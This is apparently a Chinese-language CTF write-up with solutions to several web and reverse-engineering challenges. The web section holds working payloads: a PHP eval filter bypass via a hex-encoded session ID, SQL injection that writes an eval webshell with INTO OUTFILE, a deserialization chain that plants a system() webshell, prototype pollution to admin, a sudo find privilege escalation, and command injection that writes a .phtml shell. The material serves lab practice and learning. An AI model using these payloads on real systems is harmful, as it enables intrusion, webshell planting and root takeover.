一、Web
1、疯狂星期四
本题是RCE漏洞,我们打卡题目观察
<?php
$tg1u=$_GET['tg1u'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|end|next|prev|reset|each|array|reverse|pop|rand|flip|content|echo|readfile|highlight|show|source|file|assert|getallheaders|current|pos/i", $tg1u)){
//我要吃疯狂星期四!!!!!!!!!
eval($tg1u);
}
else{
die('这都做不出来是准备请师兄吃疯狂星期四吗?');
}
highlight_file(__FILE__);
发现函数基本都被禁用,这里使用的是利用SESSIONID进行执行命令,Payload:
?tg1u=session_start();system(hex2bin(session_id()));
同时传入ls /
(为什么不要双引号?)

因为已经有双引号了
Cookie: PHPSESSID=6c73202f

然后查看flag
Cookie: PHPSESSID=636174202f46313131313134613967

2、admin Pro Max
我们先使用弱口令 admin/admin 可以登录到一个用户界面

我们可以看到在加载文件之后,URL多了一个file参数,也就是说我们可以进行文件包含操作,但是现在我们还没有马可以包含我们要先写入木马
我们尝试SQL注入,发现应该是有黑名单,单引号无法使用

我们fuzz一下看看

发现单引号确实被过滤了,那我们试试单引号逃逸,假如后台的SQL查询语句是
SELECT user FROM user WHERE user='$_POST[username]' AND password='$_POST[password]';
由于转义的符号已经不起闭合作用,只是一个普通字符,那么去掉之后就会变成
SELECT user FROM user WHERE user='admin and password=' UNION SELECT 1,2,3#';
可以观察到在后方形成了一个联合注入查询,那么我们就可以开始进行攻击了,既然要写入木马,那么我们就先看看SQL对哪个目录有写入权限
UNION SELECT 1,@@secure_file_priv,3#

写入木马
UNION SELECT 1,<?php @eval($_POST[123]);?>,3 into outfile "/var/lib/mysql-files/1.php"#
然后直接传参即可

发现flag

告诉我们flag在secret中

3、瓦学弟上分记
根据提示要找源码,我们直接扫一下

发现一个备份文件,我们下载看看

主要是利用该类来进行写马,然后我们进行链子构造
<?php
class Valinit { public $mom; public $valt; }
class Process { public $data; public $valt; }
class Finalt { public $rank; public $file; public $content; }
// 构造对象链
$finalt = new Finalt();
$finalt->rank = "赋能"; // 满足条件
$finalt->file = "/var/www/html/shell.php"; // 目标路径
$finalt->content = "<?php system(\$_GET['cmd']); ?>"; // Webshell
$process = new Process();
$process->data = "any"; // 确保不满足md5条件
$process->valt = $finalt; // 触发__invoke
$valinit_mom = new Valinit();
$valinit_mom->mom = $process; // 触发__get
$root = new Valinit();
$root->mom = $valinit_mom; // 触发__toString
echo serialize($root);
?>
经过以下过程
destruct -> toString -> call -> get -> invoke
由于源码有一个解密的过程,所以我们弄一个加密即可
import base64
import codecs
def wadw_encode(input_str):
str_data = base64.b64encode(input_str.encode('utf-8')).decode('utf-8')
str_data = str_data[::-1]
str_data = codecs.encode(str_data, 'rot13')
translation_table = str.maketrans(
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/'
)
str_data = str_data.translate(translation_table)
str_data = base64.b64encode(str_data.encode('utf-8')).decode('utf-8')
str_data = str_data[::-1]
str_data = codecs.encode(str_data, 'rot13')
return base64.b64encode(str_data.encode('utf-8')).decode('utf-8')
print(wadw_encode("""O:7:"Valinit":0:{}"""))
最终成功写入木马

查看flag即可

4、用户管理平台
我们打开源码发现TG1u账户,role为guest。同时发现Checkadmin方法,再往下发现进入好几个路由都需要admin身份。


但是我们发现一个merge函数

我们可以利用这个函数来实现原型链污染,将所有的role都污染为admin

在/user/update路由中,使用了merge函数,将session中的user信息与传入的内容进行递归合并。但是我们发现前面对传入内容有一个黑名单检查,我们看看这个方法

黑名单中有role但是没有__proto__
,但是role的过滤对我们并没有影响。因为这里的黑名单检查中,只会读取到传入对象的第一层键,二我们污染的role是在第二层的键值对中的值中。
所以先以普通用户登录,然后携带session向/user/update路由post我们的payload即可
{ "__proto__": { "role": "admin" } }

然后就可以成功访问/admin路由

5、图床
(1)非预期解法
这个解法是因为写TG1u用户上传文件校验时的逻辑错误导致的,已修复
先扫一下网站

发现一个压缩包,下下来看看

我们看看登录逻辑,发现有一个TG1u用户,还有前端验证的哈希值

我们去彩虹表查询一下

查到密码之后登录,从代码中我们也可以看到,upload中也有针对TG1u账号的逻辑

我们发现,在这里的逻辑中,是不允许上传php文件的,但是我们再去上面看看,找到过滤逻辑

如果用户不是TG1u且文件名不符合规则则无法上传。那么也就是说用户是TG1u并没有限制
所以我们登录上TG1u,上传php木马,执行命令但是我们很快会发现,即使发现根目录有flag但是我们无法查看。所以需要提权,使用sudo -l
来查找可以利用的提权方法

可以看到使用find命令提权可以无密码使用root权限
system("sudo find /flag -exec cat {} \;")

获得flag
(2)正常解法
我们观察到普通用户有一个可以命令注入的点,即

那么我们在前后加上分号,这个命令就会变成
base64;command; >/tmp/;command;.b64
可以看到命令会被执行,且会执行两次,由于uploads目录禁止访问php文件,那么我们直接使用phtml文件。
?file_path=;echo '<?php @eval($_GET[123]);?>' >./uploads/123.phtml;
然后我们就成功写入木马,然后利用TG1u用户的文件名检查不合格就会自动包含的特性

包含木马即可执行命令(为什么马不用POST?因为该页面还要同时以POST方式传入文件,如果用POST的话就还需要填入很多个参数)

二、Re
1、师兄的爱恋故事1(取证)
本题使用了Pyinstaller打包,我们直接使用PyGlimmer先进行解包,解包完成后,我们可以看到一个中文的pyc文件

然后直接使用pycdc进行解码,得到Python源代码

可以看出这是一个AES加密,我们解密即可
2、喜欢师兄讲的课吗
本题是安卓逆向,我们使用jadx打开,并找到MainActivaty,然后我们观察其中的逻辑,有一个预定数组c,逻辑是输入字符经过baby_xor方法之后与c进行比对,若一致则输出Success。

但是调用的加密方法在动态链接库中,我们直接去找arm64-v8a。然后使用ida反编译so文件。我们可以找到隐藏的Key

以及加密的逻辑

然后我们就逆向解密即可,附上脚本
encrypted = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93, 122, 121, 119, 4, 120, 124, 36, 7, 127, 42, 117, 6, 112, 41, 32, 4, 112, 47, 119, 81, 123, 47, 33, 81, 40, 120, 114, 24]
key_cycle = [0x11, 0x65, 0x49, 0x4B]
decrypted = [encrypted[i] ^ key_cycle[i % 4] for i in range(len(encrypted))]
print(bytes(decrypted).decode())
对每个加密字节,使用XOR(异或)操作与密钥循环中的对应字节进行解密,密钥循环使用模4运算(i % 4)来实现循环使用,将解密后的字节列表转换为bytes对象,再解码为字符串输出即可
3、来喽来喽
本题使用EXEinfo查看之后也很容易看出是pyinstaller打包的exe,那么我们使用与第一题相同的方式进行解包,然后得到一堆pyc文件

我们直接使用pycdc批量解码

然后得到一堆脚本,我一个个的看,最终发现d.pyc应该是主要逻辑

注意到使用了Fernet加密,我们直接找到这个秘钥文件

使用在线解密,得到源代码

只需要输入糖果即可获得flag,观察之后也可以得知,flag其实就是“糖果”这两字经过base64编码之后md5得到的。
